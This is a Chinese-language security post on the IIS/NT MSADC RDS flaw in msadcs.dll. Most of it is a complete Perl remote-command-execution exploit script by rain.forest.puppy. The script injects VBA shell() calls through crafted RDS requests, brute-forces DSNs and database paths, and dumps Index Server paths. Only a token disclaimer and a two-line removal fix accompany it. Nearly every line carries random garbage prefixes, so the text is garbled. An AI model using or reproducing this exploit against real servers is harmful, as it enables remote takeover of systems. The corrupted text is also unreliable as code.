IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
^CgN>-xZ?# !?>I 涉及程序:
u}P:9u&h6X Microsoft NT server
oF a,IA GQjwr( 描述:
XMz*}B6GQ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@6Lp$w eSHsE3}h
详细:
M!i*DU+SE 如果你没有时间读详细内容的话,就删除:
4|\ c:\Program Files\Common Files\System\Msadc\msadcs.dll
JTObyAoW 有关的安全问题就没有了。
e
tL?UF$ (BngwLVDK 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
@n=&muC} :iGK9I 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
,N;2"$+E 关于利用ODBC远程漏洞的描述,请参看:
fP6\Ur =M}tet
} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm It<VjN9
bxzx@sF2l 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
HAo=t http://www.microsoft.com/security/bulletins/MS99-025faq.asp $:# :"
w~:F? 这里不再论述。
6(x53y__ aXzb]"> 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
vxug>2 7yXJ\(6R_ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
lMG+,?<uK& 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
1GIBqs~- X&h?1lMJ / n).*=YLN #将下面这段保存为txt文件,然后: "perl -x 文件名"
KUq7O a! &,3s2,1U( #!perl
cLRzm9 #
LwTdmR # MSADC/RDS 'usage' (aka exploit) script
/n6ZN4 #
oRJ!TAbD # by rain.forest.puppy
UG_PrZd #
h?$J;xn # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
W /*?y & # beta test and find errors!
2(x|
% sCP|d`' use Socket; use Getopt::Std;
c##tP*( getopts("e:vd:h:XR", \%args);
`.dwG3R *B\ @L print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
6 !?]
( V;^N:I\js if (!defined $args{h} && !defined $args{R}) {
FFcIOn print qq~
>56fa6=3@ Usage: msadc.pl -h <host> { -d <delay> -X -v }
WW+F9~S -h <host> = host you want to scan (ip or domain)
"5z@A/Z/ -d <seconds> = delay between calls, default 1 second
)v*k\:Hw -X = dump Index Server path table, if available
KeB??1S -v = verbose
[La}h2gz -e = external dictionary file for step 5
x %9Ca)r?} zY7M]Az Or a -R will resume a command session
~ ^D2]j p~Cz6n ~; exit;}
7+}WU 4 [8q`~S%-] $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Z_edNf}| if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
PIXqd, if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
"FhC"}N if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
k}I65 ^l# $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
nP<u.{q
L if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<L11s%5- /hmDePo} if (!defined $args{R}){ $ret = &has_msadc;
~-y&C% die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
{0np |(2#KMEWa print "Please type the NT commandline you want to run (cmd /c assumed):\n"
b:r8r}49 . "cmd /c ";
e@;'# t $in=<STDIN>; chomp $in;
xf8[&? $command="cmd /c " . $in ;
-ah)/5j S:Jg#1rww- if (defined $args{R}) {&load; exit;}
]=ZPSLuEm% 'h7x@[| print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
if*~cPnN &try_btcustmr;
aMxj{*v7 ~l?c.CSd print "\nStep 2: Trying to make our own DSN...";
N$v_z>6Z &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
_L` uCjA u^B! 6Sj8 print "\nStep 3: Trying known DSNs...";
Y0-?"R8 &known_dsn;
+?ZP3vgGA B0Ay print "\nStep 4: Trying known .mdbs...";
^$C&{% &known_mdb;
:VWN/m |(TEG.<g if (defined $args{e}){
`s Im&.d print "\nStep 5: Trying dictionary of DSN names...";
(d@(QJ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
:?LNP3} {Rb;1 eYj print "Sorry Charley...maybe next time?\n";
)m+O.`x exit;
t#8QyN ZMr[:,Jp ##############################################################################
4}t&yu<P> 1Y;.fZE sub sendraw { # ripped and modded from whisker
isy[RAP< sleep($delay); # it's a DoS on the server! At least on mine...
2hso6Oy/v{ my ($pstr)=@_;
o2bmsnXQ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
hO{&bY0 die("Socket problems\n");
B2*>7 kc_s if(connect(S,pack "SnA4x8",2,80,$target)){
n@R/zy select(S); $|=1;
lZe-A/E print $pstr; my @in=<S>;
wtf H3v select(STDOUT); close(S);
*JZ9'|v_H return @in;
v _:KqdmO] } else { die("Can't connect...\n"); }}
$)c[FR~a MxI*ml8z? ##############################################################################
t9*e" QH (3Xs sub make_header { # make the HTTP request
]dl.~;3~~ my $msadc=<<EOT
"PWGtM:L8Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
-P-8D6 User-Agent: ACTIVEDATA
| oM` Host: $ip
k%\y,b* Content-Length: $clen
)F\kGe Connection: Keep-Alive
w8jpOvj <HTz ADCClientVersion:01.06
^!i4d)) Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
-{J0~1'#- ?~T(Cue> --!ADM!ROX!YOUR!WORLD!
+4Wl Content-Type: application/x-varg
m8x?`Gw~jw Content-Length: $reqlen
#H4<8B a5O$he EOT
0H.bRk/P+ ; $msadc=~s/\n/\r\n/g;
f%1\1_^g return $msadc;}
7fzH(H !FyO5`v ##############################################################################
K^[m-- ~;pP@DA sub make_req { # make the RDS request
ahZ@4v my ($switch, $p1, $p2)=@_;
lKU{jWA my $req=""; my $t1, $t2, $query, $dsn;
`#85r{c$: WlY\R>x# if ($switch==1){ # this is the btcustmr.mdb query
n9 FA`e $query="Select * from Customers where City=" . make_shell();
jk_yrbLc $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
\K}KnJ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
-|s%5p| H^`J(J+ elsif ($switch==2){ # this is general make table query
])bgUH $query="create table AZZ (B int, C varchar(10))";
#Tag"b` $dsn="$p1";}
$FIJI^Kd7 >Di`zw~ elsif ($switch==3){ # this is general exploit table query
=jpRv<X|, $query="select * from AZZ where C=" . make_shell();
0)\(y $dsn="$p1";}
;{&4jcV* xaB#GdD elsif ($switch==4){ # attempt to hork file info from index server
7mv([}Va $query="select path from scope()";
sh0x<_ $dsn="Provider=MSIDXS;";}
&U=_:]/ #nft{AN elsif ($switch==5){ # bad query
-kP2Brm $query="select";
x*tCm8`{ $dsn="$p1";}
.YH#+T' {|j-e{* $t1= make_unicode($query);
w)qmq $t2= make_unicode($dsn);
K.&6c,P] $req = "\x02\x00\x03\x00";
y?3u6q++ $req.= "\x08\x00" . pack ("S1", length($t1));
`('Up? $req.= "\x00\x00" . $t1 ;
Au/'|%2#( $req.= "\x08\x00" . pack ("S1", length($t2));
\>EUa}%xn $req.= "\x00\x00" . $t2 ;
g2}aEfp!H $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
v;g,qO!LJ return $req;}
8'fF{C RtxAIMzh? ##############################################################################
3m21n7F4* /:BC<]s sub make_shell { # this makes the shell() statement
Uvi@HB HJ return "'|shell(\"$command\")|'";}
)' ,dP)b -`Zk`s|! ##############################################################################
=%>E8)Jb <&B]p sub make_unicode { # quick little function to convert to unicode
Rf>V]R my ($in)=@_; my $out;
rTJU)4I^h for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
`'mRGz7t return $out;}
v$q\3#5|' .{bT9Sc5 ##############################################################################
:x3DuQP qT4`3nH: sub rdo_success { # checks for RDO return success (this is kludge)
{- MhhRa5 my (@in) = @_; my $base=content_start(@in);
@Xh8kvc81 if($in[$base]=~/multipart\/mixed/){
,O^kZ}b return 1 if( $in[$base+10]=~/^\x09\x00/ );}
z5<&}Vh;P return 0;}
%wu,ce]* ;
+Ie<oW ##############################################################################
@8:c3(! =KnHa.% sub make_dsn { # this makes a DSN for us
Zw/??Tq b my @drives=("c","d","e","f");
{+kWK;1 print "\nMaking DSN: ";
L+lye Ir' foreach $drive (@drives) {
AGVipI # print "$drive: ";
_$HC NFdh my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
y|9 LtQ "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
G&M)n*o . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
>%_i#|dE> $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
]i
`~J return 0 if $2 eq "404"; # not found/doesn't exist
,s@S`KS0 if($2 eq "200") {
eB,@oo% foreach $line (@results) {
Tn38]UL return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
%F;uW[4r } return 0;}
SokU9n! 3rX8H`R ##############################################################################
`@:k*d ,S, R6#3G sub verify_exists {
V|nJ%G\ my ($page)=@_;
q^@*k,HG my @results=sendraw("GET $page HTTP/1.0\n\n");
{w99~? return $results[0];}
,?
&$c+ 1ahb:Mjv ##############################################################################
XFww|SG$ MpIP)bdq7 sub try_btcustmr {
PbMvM my @drives=("c","d","e","f");
W%9"E??c my @dirs=("winnt","winnt35","winnt351","win","windows");
5(Xq58nhxI +J}h foreach $dir (@dirs) {
#so"p<7 R print "$dir -> "; # fun status so you can see progress
oOQ0f |MGp foreach $drive (@drives) {
]ddL'>$c$ print "$drive: "; # ditto
L'>0E(D $reqlen=length( make_req(1,$drive,$dir) ) - 28;
0J=
$ A $reqlenlen=length( "$reqlen" );
BT5~MYBl $clen= 206 + $reqlenlen + $reqlen;
kh>i#9Ie k.H4Mf(4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
C\cZ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5Ak>/QF9 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
]}_Ohe]X Az(J @ ##############################################################################
/"1[qT\F zn\$6'" sub odbc_error {
).$kp2IN my (@in)=@_; my $base;
]k.YG!$ my $base = content_start(@in);
p!K]c D if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
g8Zf(" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
&=.7-iC|W $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+j6^g* $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!t&C,@Ox return $in[$base+4].$in[$base+5].$in[$base+6];}
H<`7){iG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
M;@/697G print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`{J(S'a` $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
>9Y0t^Fl _#o75*42tT ##############################################################################
r9^~I TIP H#W:v sub verbose {
jouT9~[L' my ($in)=@_;
T\T>\&nY+| return if !$verbose;
7I {rhA print STDOUT "\n$in\n";}
CH=k=)() ] };8PPR)\y ##############################################################################
L0xh?B UTuOean ]' sub save {
62/tg*) my ($p1, $p2, $p3, $p4)=@_;
)7N$lY< open(OUT, ">rds.save") || print "Problem saving parameters...\n";
B]cV|S| print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
5U JMiwP{ close OUT;}
<d3N2 (_~Dyvo ##############################################################################
=$vy_UN RsP^T:M}$ sub load {
\YF'qWB my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
fu`|@S open(IN,"<rds.save") || die("Couldn't open rds.save\n");
th|TwD&mO @p=<IN>; close(IN);
ebB8.(k9G3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
YR68'Sft[ $target= inet_aton($ip) || die("inet_aton problems");
GG`;c?d@ print "Resuming to $ip ...";
=xHzhh $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
jR,3-JQ if($p[1]==1) {
dv\aP $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
'ewVn1ME[ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
#K[6Ai=We} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
xy<)zKp if (rdo_success(@results)){print "Success!\n";}
\F),SL else { print "failed\n"; verbose(odbc_error(@results));}}
_~E_#cNn elsif ($p[1]==3){
_VAX~Y] if(run_query("$p[3]")){
ltG|#( print "Success!\n";} else { print "failed\n"; }}
k|_LF[* Z elsif ($p[1]==4){
&0@AM_b if(run_query($drvst . "$p[3]")){
?rububDT{ print "Success!\n"; } else { print "failed\n"; }}
nA XWbavY exit;}
\EeK<)4: mF]8 ##############################################################################
~C ;gEE- 2lBfc sub create_table {
Y>'t)PK my ($in)=@_;
Ezw< $reqlen=length( make_req(2,$in,"") ) - 28;
Zk
9 i}H $reqlenlen=length( "$reqlen" );
x?-kt.M $clen= 206 + $reqlenlen + $reqlen;
;!/g`*? my @results=sendraw(make_header() . make_req(2,$in,""));
@RVj~J.A return 1 if rdo_success(@results);
UNKXfe(X9 my $temp= odbc_error(@results); verbose($temp);
>WW5;7$ return 1 if $temp=~/Table 'AZZ' already exists/;
9TOqA4 return 0;}
i@spd5. &GLe4zEh ##############################################################################
}q[IhjD% CjlA"_!%E sub known_dsn {
{}v<2bS # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
}VXZM7@u my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
/7XVr"R "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
D,;6$Pvg^ "banner", "banners", "ads", "ADCDemo", "ADCTest");
G_n~1? }h`ddo foreach $dSn (@dsns) {
$iAd)2LT print ".";
_^u^@.Q'i< next if (!is_access("DSN=$dSn"));
C*,PH!$k if(create_table("DSN=$dSn")){
$ &fm^1 print "$dSn successful\n";
dRnO5
7+{ if(run_query("DSN=$dSn")){
T6p2=o&p print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
sBm/9vu print "Something's borked. Use verbose next time\n";}}} print "\n";}
#_[W*-|L RiM!LX ##############################################################################
g7U>G=,;?U a$P$Ngi?S sub is_access {
q| 7$@H^* my ($in)=@_;
]k.'~Syz $reqlen=length( make_req(5,$in,"") ) - 28;
cu$i8$?t $reqlenlen=length( "$reqlen" );
$79-)4;z4 $clen= 206 + $reqlenlen + $reqlen;
t:.ZvA3 my @results=sendraw(make_header() . make_req(5,$in,""));
Z }Z]["q my $temp= odbc_error(@results);
*f( e`3E verbose($temp); return 1 if ($temp=~/Microsoft Access/);
}=JuC+#~n return 0;}
05Go*QvV rA#Ji~ ##############################################################################
Y!L<&
sl G .k\N(l sub run_query {
piKR*|F my ($in)=@_;
y@Q?
guB $reqlen=length( make_req(3,$in,"") ) - 28;
naB`@ $reqlenlen=length( "$reqlen" );
=5Auk5& $clen= 206 + $reqlenlen + $reqlen;
"jG-)k`a my @results=sendraw(make_header() . make_req(3,$in,""));
?e+$?8l[3 return 1 if rdo_success(@results);
\Z ms my $temp= odbc_error(@results); verbose($temp);
#mcU);s return 0;}
Kf-rthO AT]Ty ##############################################################################
JPfE`NZ TZ+2S93c sub known_mdb {
`h|>;u my @drives=("c","d","e","f","g");
1$G'Kg/ my @dirs=("winnt","winnt35","winnt351","win","windows");
X-=J7G`\h# my $dir, $drive, $mdb;
1(12`3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
;Q} H'Wg, %R[X_n= # this is sparse, because I don't know of many
9,zM.g9Qv my @sysmdbs=( "\\catroot\\icatalog.mdb",
K+s
xO/}h "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
bB|P`lL "\\system32\\certmdb.mdb",
o|0QstSCl "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
9F"Q2^l' /*yPy? my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
a2N4Jg@ "\\cfusion\\cfapps\\forums\\forums_.mdb",
4\%XC
F! "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
mrz@Y0mgL "\\cfusion\\cfapps\\security\\realm_.mdb",
ngHPOI16 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6$^dOJ_" "\\cfusion\\database\\cfexamples.mdb",
H0 .,h; "\\cfusion\\database\\cfsnippets.mdb",
}8cX0mZ1j "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
$1$T2'C~+ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
;BMm47< "\\cfusion\\brighttiger\\database\\cleam.mdb",
rCa2$#Z "\\cfusion\\database\\smpolicy.mdb",
z7P]g
C$\ "\\cfusion\\database\cypress.mdb",
=q-HR+ "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
3V`.< "\\website\\cgi-win\\dbsample.mdb",
_z3YB "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
`Gp!Y "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
15 ^5yRXC ); #these are just
kwd)5J foreach $drive (@drives) {
h*GU7<F:a foreach $dir (@dirs){
Z'I0e9Jw foreach $mdb (@sysmdbs) {
!p~K;p, print ".";
L7lRh=D if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
B=`"!?we print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
9&`ejeD if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
)c$)am\I{ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
>av.pJ(> } else { print "Something's borked. Use verbose next time\n"; }}}}}
';z5]O~ -'OO6mU foreach $drive (@drives) {
NJglONO foreach $mdb (@mdbs) {
)4P5i
b print ".";
Qe )#'$T if(create_table($drv . $drive . $dir . $mdb)){
axW4cS ? print "\n" . $drive . $dir . $mdb . " successful\n";
hj.Du+1 if(run_query($drv . $drive . $dir . $mdb)){
sR1
&2hB print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
MYb^ILz H3 } else { print "Something's borked. Use verbose next time\n"; }}}}
C8 b%r|^# }
Ag!#epi{0 GCgpe(cQ ##############################################################################
G$D6#/rR 4U*uH sub hork_idx {
'Na/AcRdg print "\nAttempting to dump Index Server tables...\n";
Hf'yRKACj print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
@Sl!p) $reqlen=length( make_req(4,"","") ) - 28;
t!Uc,mEV] $reqlenlen=length( "$reqlen" );
q|A-h' $clen= 206 + $reqlenlen + $reqlen;
Dy[
YL my @results=sendraw2(make_header() . make_req(4,"",""));
F^]?'`7md if (rdo_success(@results)){
cs%NsnZ my $max=@results; my $c; my %d;
'0xJp|[xVP for($c=19; $c<$max; $c++){
(Q$]X5L $results[$c]=~s/\x00//g;
}bs2Rxkh $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
69v[*InSd $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]cv|A^ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0+\~^ $d{"$1$2"}="";}
?Ze3t5Ll foreach $c (keys %d){ print "$c\n"; }
YTco;5/ } else {print "Index server doesn't seem to be installed.\n"; }}
^<e"OV o\luE{H
.? ##############################################################################
(qP !x 2j 0P_Y6w+ sub dsn_dict {
QJG]z'c+ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
63$ R') while(<IN>){
p ?HODwZ $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ibOXh U next if (!is_access("DSN=$dSn"));
D^Z~>D6 if(create_table("DSN=$dSn")){
A_t<SG5
print "$dSn successful\n";
2Z-BZu K6p if(run_query("DSN=$dSn")){
iK"j@1| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
\\D~Yg\# print "Something's borked. Use verbose next time\n";}}}
Kup-O
u, print "\n"; close(IN);}
pr-{/6j6 6wWA(![w" ##############################################################################
1?(mE7H# Oed&B sub sendraw2 { # ripped and modded from whisker
Lh &L5p7 sleep($delay); # it's a DoS on the server! At least on mine...
*TuoC5 my ($pstr)=@_;
_W:
S>ij( socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
b)u9#%Q die("Socket problems\n");
b>%I=H%g if(connect(S,pack "SnA4x8",2,80,$target)){
UY**3MK print "Connected. Getting data";
&%Hj. open(OUT,">raw.out"); my @in;
)_EobE\ select(S); $|=1; print $pstr;
'q[V*4g while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
4(JxZ49 close(OUT); select(STDOUT); close(S); return @in;
YKh%`Y1< } else { die("Can't connect...\n"); }}
[jumq1 ,XP9NHE ##############################################################################
#U/B,`= > [uRsB5 sub content_start { # this will take in the server headers
g{$&j*Q9 my (@in)=@_; my $c;
W,agPG\+ for ($c=1;$c<500;$c++) {
j7-#">YL if($in[$c] =~/^\x0d\x0a/){
]-.Q9cjc$q if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
4r(rWlM else { return $c+1; }}}
]Ly)%a32 return -1;} # it should never get here actually
'd?8OV PfrW,R~r ##############################################################################
JsPuxu_ kd\G> sub funky {
v;K\#uc_ my (@in)=@_; my $error=odbc_error(@in);
$]81 s` if($error=~/ADO could not find the specified provider/){
&8&WY1cU print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0t4i'?? exit;}
1 *-58N* if($error=~/A Handler is required/){
n6o}$]H print "\nServer has custom handler filters (they most likely are patched)\n";
71 /6=aq>n exit;}
<E\BKC%M if($error=~/specified Handler has denied Access/){
sZ4H\ print "\nServer has custom handler filters (they most likely are patched)\n";
tOko %vY8 exit;}}
<1jiU%!w 2N,*S ##############################################################################
0\Oeo8<7)~ R1q04Zj{2 sub has_msadc {
gieX`} my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
U |4%ydG my $base=content_start(@results);
*gT
TI;: return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
n(o
Jb return 0;}
%)aDh
}
xEiW]Eo ########################
xUrfH$$!` ;8b f5 n6uobo- 解决方案:
f:utw T 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
Vk_L*lcN 2、移除web 目录: /msadc